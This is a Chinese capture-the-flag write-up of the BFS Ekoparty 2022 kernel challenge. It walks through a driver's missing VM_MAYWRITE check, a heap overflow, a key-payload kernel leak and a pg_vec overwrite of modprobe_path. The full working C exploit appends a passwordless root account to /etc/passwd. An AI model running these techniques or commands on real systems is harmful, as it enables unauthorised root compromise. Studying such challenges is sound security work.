-
-
[原创] BFS Ekoparty 2022 Linux Kernel Exploitation Challenge
-
2024-5-7 18:24 2521
-
前言
昨天一个师傅给了我一道 linux kernel pwn
题目,然后我看了感觉非常有意思,题目也不算难(在看了作者的提示下),所以就花时间做了做,在这里简单记录一下。这个题是 BFS Lab
2022 年的一道招聘题?还有一道 window
利用相关的,但我不太会,这两道题目做出来就可以获得面试资格(:这不禁让我想起学校各大公司的招聘宣讲会,扯了一个晚上结果告诉我们回去网申,乐
这里先简单看下其要求:
可以看到其提供了驱动模块的源码,要求自己编译,然后在最新版本的内核 5.15.0-52-generic
(目前 2024 已经不是最新了)的 Ubuntu 22.04 VM
上完成利用,如果在开启 SMAP/SMEP
时可以完成利用则会获得额外的加分
环境搭建
目前我虚拟机的内核版本为 6.5.0
,所以这里简单切换下内核版本,这里我选择的版本为 5.15.0-72-generic
,主要是不想自己源码编译
其给了模块源码,自己编译安装即可,这里给出脚本:
Makefile
如下:
1 2 3 4 5 6 7 8 9 | obj-m += blunder.o CURRENT_PATH := $(shell pwd ) LINUX_KERNEL := $(shell uname -r) LINUX_KERNEL_PATH := /usr/src/linux-headers- $(LINUX_KERNEL) all: make -C $(LINUX_KERNEL_PATH) M=$(CURRENT_PATH) modules clean: make -C $(LINUX_KERNEL_PATH) M=$(CURRENT_PATH) clean |
install.sh
如下:
1 2 3 | #!/bin/sh sudo insmod blunder.ko sudo chmod 666 /dev/blunder |
漏洞分析
先说明下,源码的实现中存在一些内存泄漏的问题,但是这里与漏洞利用无关,所以也不过多解释。然后我对源码进行了注释,感兴趣的读者可以自行下载查看,这里我主要关注漏洞点。ok,先来看看这个模块主要在干一个什么事情
正如挑战所描述的那样,其实现了一个 IPC
模块,阅读源码可以知道其可以在不同进程间发送文件描述符(与 SCM_RIGHTS
消息非常相似,发送的其实是底层的 struct file
结构体)和普通文本数据,而这里的传输文本数据非常有意思,当我们从进程 A
发送数据 data
到进程 B
,此时会把 data
挂在 B
对应 blunder_proc
结构体的待接收队列中,而这里比较奇妙的是待接收队列中的数据被直接映射到了用户空间,所以当进程 B
接收消息时,则不需要在用户空间和内核空间之间复制数据,而是直接获取对应消息在用户空间的映射地址,这样就大大加快了速度,这里简单画了一张图,总的结构如下:
说实话,跟
sendmsg
系统调用传递SCM_RIGHTS
辅助消息的底层处理非常像(:可以说是一个阉割版
这里解释一些结构体:
struct blunder_device
:总的管理结构,每个进程的blunder_proc
会被维护成一颗红黑树,其中blunder_device.procs
就是RBT
的根context_manager
没啥用(:代码中没啥实现相关操作
1 2 3 4 5 6 | // 全局管理结构 struct blunder_device { spinlock_t lock; struct rb_root procs; struct blunder_proc *context_manager; }; |
struct blunder_proc
:每一个打开/dev/blunder
的进程都会维护一个,其保存在file
的private_data
域struct blunder_alloc alloc
数据缓冲区管理结构,其他进程发送的数据会被保存在里面struct list_head messages
是接收队列,当其他进程给该进程发送消息时,消息会被暂时保存在这里
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | /* * @refcount: number of references for this object. * @rb_node : links procs in blunder_device. * @alloc: the allocator for incoming messages * @handles: rb-tree of handles to other blunder_proc. * @messages: list of IPC messages to be delivered to this proc */ // 每个进程维护一个 struct blunder_proc { struct kref refcount; spinlock_t lock; int pid; int dead; struct rb_node rb_node; // 与 blunder_device 连接成 RBT struct blunder_alloc alloc; // 数据缓冲区管理结构 struct list_head messages; // 接收队列 }; |
struct blunder_alloc
:缓冲区管理结构mapping
指向缓冲区user_buffer_offset
:上面说了,内核缓冲区会被映射到用户空间,user_buffer_offset
表示的就是内核缓冲区的起始地址到被映射到用户空间地址的偏移buffers
:待接收数据块链表
1 2 3 4 5 6 7 8 9 10 11 12 13 | /* * @mapping: kernel mapping where IPC messages will be received. * @mapping_size: size of the mapping. * @buffers: list of `blunder_buffer` allocations. * @user_buffer_offset: distance between userspace buffer and mapping */ struct blunder_alloc { spinlock_t lock; void *mapping; size_t mapping_size; ptrdiff_t user_buffer_offset; struct list_head buffers; }; |
struct blunder_buffer
待接收数据会以如下结构进行保存
1 2 3 4 5 6 7 8 | struct blunder_buffer { struct list_head buffers_node; atomic_t free ; size_t buffer_size; // buffer 空间的大小 size_t data_size; // 实际存储数据的大小 size_t offsets_size; unsigned char data[0]; }; |
struct blunder_message
被挂到接收队列链表的结构
1 2 3 4 5 6 7 8 | struct blunder_message { struct list_head entry; int opcode; struct blunder_proc *from; // --> pid?? struct blunder_buffer *buffer; size_t num_files; struct file **files; }; |
struct blunder_user_message
用户空间传入结构
1 2 3 4 5 6 7 8 9 10 | struct blunder_user_message { int handle; // pid int opcode; void *data; // 要发送/接收数据的指针 size_t data_size; // 要发送/接收数据的大小 size_t *offsets; size_t offsets_size; int *fds; // fds[num_fds] size_t num_fds; }; |
对于源码我也不行过多解释了,整体而言比较简单,读者可以先自行查看,这里仅仅说下漏洞逻辑:
1 2 3 4 5 6 7 8 | static int blunder_mmap( struct file *filp, struct vm_area_struct *vma) { ...... // sz 得在 [0, 0x20000] 之间且虚拟内存区域不存在写权限 // 但是这里没有排除 VM_MAYWRITE 权限,即已经将该内存区域设置为可写权限 <====== PWN if (sz > BLUNDER_MAX_MAP_SIZE || vma->vm_flags & VM_WRITE) { goto out; } ...... |
这里得配合作者给的提示:
主要还是我太菜了,一开始并没觉得有啥问题
通过作者给的提示可以知道这里虽然检查了 VM_WRITE
,但是并没有检查 VM_MAYWRITE
,也就是说如果映射时如果带有 VM_MAYWRITE
标志则在后面可以利用 mprotect
赋予映射区域写权限,从而就绕过了这里的检查,然后简单审计下 mmap
源码:
可以发现对于使用 O_RDWR
打开的文件,在进行文件映射时,会默认加上 VM_MAYWRITE
标志,所以整个漏洞就很清晰了:
- 使用
O_RDWR
打开驱动文件 - 只使用
PROT_READ
进行mmap
映射,此时可以通过检查 - 使用
mprotect
修改被映射区域的权限为可读可写
漏洞利用
这里 mmap
最小的映射大小就是 0x1000
,所以对应到内核就是 kmalloc-4k
,然后我们对整个数据缓冲区都是可控的,也就是下面的红色部分:
最开始我想的是通过修改 buffer_size
去实现越界写,但是发现我的环境开启了 Hardened usercopy
,但是这里还是有办法的,那就是在末尾伪造一个 struct blunder_buffer header
,这里在进行写入时就不存在跨页了
所以这里我们获得了一个比较强大的原语:
kmalloc-4k
堆溢出 【下溢】,并且溢出内容可控
按理说利用就变得简单了,但是我的环境又存在 cg
隔离,导致常用的适配大对象的结构体 pipe_buffer/msg_msg
都不适用,而且这里并不好利用 cross cache
攻击,因为 kmalloc-4k
的 pageperslab
为 8,并且这里的溢出只能是相邻溢出,并且由于 Hardened usercopy
保护,这里最多溢出 0xfd0
,所以我们得利用 cross cache
形成如下堆布局才行:
由于笔者对 cross cache
攻击技巧掌握的不是很好,所以就果断放弃了,但是还好内核中还是存在 GFP_KERNEL
分配的可用于利用的大对象,这里笔者主要的利用思路就是:user_key_paylaod
泄漏 kbase
+ pgv
打 USMA
篡改 modprobe_path
这里比较
nice
,ubu
上modprobe_path
相关保护似乎是关了的,当然没关也无所谓,USMA
劫持setresuid
相关底层函数也行
所以这里先堆喷形成如下布局:
然后利用越界写修改
user_key_payload1
的datalen
从而实现越界读取user_free_payload_rcu
从而泄漏kbase
最后在释放掉
user_key_payload1
,然后申请pgv
占据该对象,此时就可以利用越界写修改相关地址为modprobe_path
即可完成USMA
劫持modprobe_path
最后 exp
如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 | #ifndef _GNU_SOURCE #define _GNU_SOURCE #endif #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <signal.h> #include <string.h> #include <stdint.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/ioctl.h> #include <sched.h> #include <linux/keyctl.h> #include <ctype.h> #include <pthread.h> #include <sys/types.h> #include <linux/userfaultfd.h> #include <sys/sem.h> #include <semaphore.h> #include <poll.h> #include <sys/ipc.h> #include <sys/msg.h> #include <asm/ldt.h> #include <sys/shm.h> #include <sys/wait.h> #include <sys/socket.h> #include <linux/if_packet.h> void err_exit( char *msg) { printf ( "\033[31m\033[1m[x] Error at: \033[0m%s\n" , msg); sleep(1); exit (EXIT_FAILURE); } void info( char *msg) { printf ( "\033[32m\033[1m[+] %s\n\033[0m" , msg); } void hexx( char *msg, size_t value) { printf ( "\033[32m\033[1m[+] %s: %#lx\n\033[0m" , msg, value); } void binary_dump( char *desc, void *addr, int len) { uint64_t *buf64 = (uint64_t *) addr; uint8_t *buf8 = (uint8_t *) addr; if (desc != NULL) { printf ( "\033[33m[*] %s:\n\033[0m" , desc); } for ( int i = 0; i < len / 8; i += 4) { printf ( " %04x" , i * 8); for ( int j = 0; j < 4; j++) { i + j < len / 8 ? printf ( " 0x%016lx" , buf64[i + j]) : printf ( " " ); } printf ( " " ); for ( int j = 0; j < 32 && j + i * 8 < len; j++) { printf ( "%c" , isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.' ); } puts ( "" ); } } /* root checker and shell poper */ void get_root_shell( void ) { system ( "echo '#!/bin/sh\n/bin/chmod 777 /etc/passwd' > /tmp/x" ); // modeprobe_path 修改为了 /tmp/x system ( "chmod +x /tmp/x" ); system ( "echo '\xff\xff\xff\xff' > /tmp/dummy" ); // 非法格式的二进制文件 system ( "chmod +x /tmp/dummy" ); system ( "/tmp/dummy" ); // 执行非法格式的二进制文件 ==> 执行 modeprobe_path 指向的文件 /tmp/x sleep(0.3); system ( "echo 'hacker::0:0:root:/root:/bin/bash' >> /etc/passwd" ); system ( "su hacker" ); exit (EXIT_SUCCESS); } /* userspace status saver */ size_t user_cs, user_ss, user_rflags, user_sp; void save_status() { asm volatile ( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts ( "\033[34m\033[1m[*] Status has been saved.\033[0m" ); } /* bind the process to specific core */ void bind_core( int core) { cpu_set_t cpu_set; CPU_ZERO(&cpu_set); CPU_SET(core, &cpu_set); sched_setaffinity(getpid(), sizeof (cpu_set), &cpu_set); printf ( "\033[34m\033[1m[*] Process binded to core \033[0m%d\n" , core); } #define IOCTL_BLUNDER_SET_CTX_MGR _IOWR('s', 1, uint64_t) #define IOCTL_BLUNDER_SEND_MSG _IOWR('s', 2, struct blunder_user_message) #define IOCTL_BLUNDER_RECV_MSG _IOWR('s', 3, struct blunder_user_message) #define IOCTL_BLUNDER_FREE_BUF _IOWR('s', 4, void *) struct blunder_user_message { int handle; int opcode; void *data; size_t data_size; size_t *offsets; size_t offsets_size; int *fds; size_t num_fds; }; void set_ctx( int fd) { ioctl(fd, IOCTL_BLUNDER_SET_CTX_MGR, 0); } void send_msg( int fd, int topid, void * data, size_t data_size, int * fds, size_t num_fds) { struct blunder_user_message n = { .handle=topid, .data=data, .data_size=data_size, .fds=fds, .num_fds=num_fds }; ioctl(fd, IOCTL_BLUNDER_SEND_MSG, &n); } void recv_msg( int fd, int * fds, size_t num_fds) { struct blunder_user_message n = { .fds=fds, .num_fds=num_fds }; ioctl(fd, IOCTL_BLUNDER_RECV_MSG, &n); } void free_buf( int fd, unsigned long arg) { ioctl(fd, IOCTL_BLUNDER_FREE_BUF, arg); } int key_alloc( char *description, char *payload, size_t plen) { return syscall(__NR_add_key, "user" , description, payload, plen, KEY_SPEC_PROCESS_KEYRING); } int key_update( int keyid, char *payload, size_t plen) { return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen); } int key_read( int keyid, char *buffer, size_t buflen) { return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen); } int key_revoke( int keyid) { return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0); } int key_unlink( int keyid) { return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING); } void unshare_setup( void ) { char edit[0x100]; int tmp_fd; if (unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET)) err_exit( "FAILED to create a new namespace" ); tmp_fd = open( "/proc/self/setgroups" , O_WRONLY); write(tmp_fd, "deny" , strlen ( "deny" )); close(tmp_fd); tmp_fd = open( "/proc/self/uid_map" , O_WRONLY); snprintf(edit, sizeof (edit), "0 %d 1" , getuid()); write(tmp_fd, edit, strlen (edit)); close(tmp_fd); tmp_fd = open( "/proc/self/gid_map" , O_WRONLY); snprintf(edit, sizeof (edit), "0 %d 1" , getgid()); write(tmp_fd, edit, strlen (edit)); close(tmp_fd); } #ifndef ETH_P_ALL #define ETH_P_ALL 0x0003 #endif void packet_socket_rx_ring_init( int s, unsigned int block_size, unsigned int frame_size, unsigned int block_nr, unsigned int sizeof_priv, unsigned int timeout) { int v = TPACKET_V3; int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof (v)); if (rv < 0) puts ( "setsockopt(PACKET_VERSION)" ), exit (-1); struct tpacket_req3 req; memset (&req, 0, sizeof (req)); req.tp_block_size = block_size; req.tp_frame_size = frame_size; req.tp_block_nr = block_nr; req.tp_frame_nr = (block_size * block_nr) / frame_size; req.tp_retire_blk_tov = timeout; req.tp_sizeof_priv = sizeof_priv; req.tp_feature_req_word = 0; rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof (req)); if (rv < 0) perror ( "setsockopt(PACKET_RX_RING)" ), exit (-1); } int packet_socket_setup(unsigned int block_size, unsigned int frame_size, unsigned int block_nr, unsigned int sizeof_priv, int timeout) { int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if (s < 0) puts ( "socket(AF_PACKET)" ), exit (-1); packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, sizeof_priv, timeout); struct sockaddr_ll sa; memset (&sa, 0, sizeof (sa)); sa.sll_family = PF_PACKET; sa.sll_protocol = htons(ETH_P_ALL); sa.sll_ifindex = if_nametoindex( "lo" ); sa.sll_hatype = 0; sa.sll_pkttype = 0; sa.sll_halen = 0; int rv = bind(s, ( struct sockaddr *)&sa, sizeof (sa)); if (rv < 0) puts ( "bind(AF_PACKET)" ), exit (-1); return s; } // count 为 pg_vec 数组的大小, 即 pg_vec 的大小为 count*8 // size/4096 为要分配的 order int pagealloc_pad( int count, int size) { return packet_socket_setup(size, 2048, count, 0, 100); } #define KEY_NUMS 0x10 #define MAX_FDS 0x10 int main( int argc, char ** argv, char ** envp) { bind_core(0); int pipe_fd[2]; pipe(pipe_fd); pid_t pid = fork(); if (!pid) { unshare_setup(); char * mmap_addr; int key_id[KEY_NUMS]; char desc[0x10] = { 0 }; char buf[0x10000] = { 0 }; int fds[MAX_FDS] = { 0 }; uint64_t kheap = 0; uint64_t khead = 0; uint64_t kbase = 0; uint64_t koffset = 0; uint64_t modprobe_path = 0x1e8bb00; int evil_key = -1; int res, flag; int pid = getpid(); int fd = open( "/dev/blunder" , O_RDWR); if (fd < 0) err_exit( "open /dev/blunder" ); for ( int i = 0; i < KEY_NUMS / 2; i++) { sprintf (desc, "%s%d" , "XiaozaYa" , i); key_id[i] = key_alloc(desc, buf, 2032); } mmap_addr = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, fd, 0); if (mmap_addr == MAP_FAILED) err_exit( "mmap" ); for ( int i = KEY_NUMS / 2; i < KEY_NUMS; i++) { sprintf (desc, "%s%d" , "XiaozaYa" , i); key_id[i] = key_alloc(desc, buf, 2032); } printf ( "[+] mmap_addr: %#llx\n" , mmap_addr); if (mprotect(mmap_addr, 0x1000, PROT_READ|PROT_WRITE)) err_exit( "mprotect" ); send_msg(fd, pid, buf, 0x10, NULL, 0); kheap = *(uint64_t*)(mmap_addr) - 0x40; khead = *(uint64_t*)(mmap_addr + 8); printf ( "[+] kheap: %#llx\n" , kheap); printf ( "[+] khead: %#llx\n" , khead); *(uint64_t*)(mmap_addr) = kheap + 0x1000 - 0x30; *(uint64_t*)(mmap_addr+0x1000-0x30) = khead; *(uint64_t*)(mmap_addr+0x1000-0x30+8) = kheap; *(uint64_t*)(mmap_addr+0x1000-0x30+16) = 1; *(uint64_t*)(mmap_addr+0x1000-0x30+24) = 0x100; *(uint64_t*)(mmap_addr+0x1000-0x30+32) = 0; binary_dump( "first buf" , mmap_addr, 0x30); binary_dump( "second buf" , mmap_addr+0x1000-0x30, 0x30); *(uint64_t*)(buf + 16) = 0xfff0; send_msg(fd, pid, buf, 0x20, NULL, 0); binary_dump( "use buf" , mmap_addr+0x1000-0x30, 0x30); memset (buf, 0, sizeof (buf)); for ( int i = 0; i < KEY_NUMS; i++) { res = key_read(key_id[i], buf, 0xfff0); if (res > 0x1000) { printf ( "[+] key overread data len: %#lx\n" , res); evil_key = i; break ; } } if (evil_key == -1) { write(pipe_fd[1], "N" , 1); err_exit( "not hit evil_key" ); } printf ( "[+] evil_key: %d\n" , evil_key); for ( int i = 0; i < KEY_NUMS; i++) { if (i != evil_key) { key_revoke(key_id[i]); } } res = key_read(key_id[evil_key], buf, res); int hit_count = 0; for ( int i = 0; i < res / 8; i++) { uint64_t val = *(uint64_t*)(buf + i*8); if ((val&0xfff) == 0xa60) { if (kbase == 0) { printf ( "[+] user_free_payload_rcu: %#llx\n" , val); kbase = val - 0x52ba60; koffset = kbase - 0xffffffff81000000; } hit_count++; //break; } } if (kbase == 0) { write(pipe_fd[1], "N" , 1); err_exit( "Failed to leak kbase" ); } printf ( "[+] hit count: %d\n" , hit_count); printf ( "[+] kbase: %#llx\n" , kbase); printf ( "[+] koffset: %#llx\n" , koffset); modprobe_path += kbase; printf ( "[+] modprobe_path: %#llx\n" , modprobe_path); key_revoke(key_id[evil_key]); // key_unlink(key_id[evil_key]); int packet_fd; char * page; #define TRY_NUMS 0x20 int try_keys[TRY_NUMS]; int index = 0; memset (desc, 0, sizeof (desc)); for ( int i = 0; i < 257; i++) { *(uint64_t*)(buf+i*8) = modprobe_path & (~0xfff); } for ( int i = 0; i < TRY_NUMS; i++) { printf ( "[+] try %d/32\n" , i); packet_fd = pagealloc_pad(257, 0x1000); if (packet_fd < 0) { write(pipe_fd[1], "N" , 1); perror ( "pagealloc_pad" ); exit (-1); } *(uint64_t*)(mmap_addr) = kheap + 0x1000 - 0x30; *(uint64_t*)(mmap_addr+0x1000-0x30) = khead; *(uint64_t*)(mmap_addr+0x1000-0x30+8) = kheap; *(uint64_t*)(mmap_addr+0x1000-0x30+16) = 1; *(uint64_t*)(mmap_addr+0x1000-0x30+24) = 0x1000; *(uint64_t*)(mmap_addr+0x1000-0x30+32) = 0; send_msg(fd, pid, buf, 257*8, NULL, 0); page = ( char *)mmap(NULL, 0x1000*257, PROT_READ|PROT_WRITE, MAP_SHARED, packet_fd, 0); if (page == MAP_FAILED) { write(pipe_fd[1], "N" , 1); printf ( "[x] packet_fd: %d\n" , packet_fd); perror ( "mmap for USMA" ); exit (-1); } page[ strlen ( "/sbin/modprobe" )] = '\x00' ; printf ( "[s] hit string: %s\n" , &page[modprobe_path&0xfff]); if (! strcmp (&page[modprobe_path&0xfff], "/sbin/modprobe" )) { strcpy (&page[modprobe_path&0xfff], "/tmp/x" ); write(pipe_fd[1], "Y" , 1); goto OUT; } munmap(page, 0x1000*257); close(packet_fd); sprintf (desc, "%s%d" , "Try" , index); try_keys[index++] = key_alloc(desc, buf, 2032); } write(pipe_fd[1], "N" , 1); OUT: puts ( "[+] Child Porcess Over" ); exit (0); } else if (pid < 0) { err_exit( "fork" ); } else { char buf[1]; read(pipe_fd[0], buf, 1); // wait(NULL); sleep(2); if (buf[0] == 'Y' ) { get_root_shell(); } puts ( "[+] Parent Porcess Over" ); exit (0); } /* // just test fds[0] = open("./test", O_RDWR); send_msg(fd, pid, buf, 0x10, fds, 1); binary_dump("MMAP DATA", mmap_addr, 0x100); send_msg(fd, pid, buf, 0x10, fds, 1); binary_dump("MMAP DATA", mmap_addr, 0x100); recv_msg(fd, &fds[1], 1); printf("%d\n", fds[1]); binary_dump("MMAP DATA", mmap_addr, 0x100); */ return 0; } |
最后效果如下:堆喷策略比较简单,所以成功率不算太高
总结
这个题目出的挺好的,利用不算难,关键在于能否发现漏洞,笔者最后还是看了提示才知道漏洞所在的,不得不说,自己懂的还是太少了。如果读者对上述不是很明白,请务必先审计模块源码以了解整个模块到底在做什么
相关注释源码和 exp
可在笔者的 github
上下载
[培训]内核驱动高级班,冲击BAT一流互联网大厂工 作,每周日13:00-18:00直播授课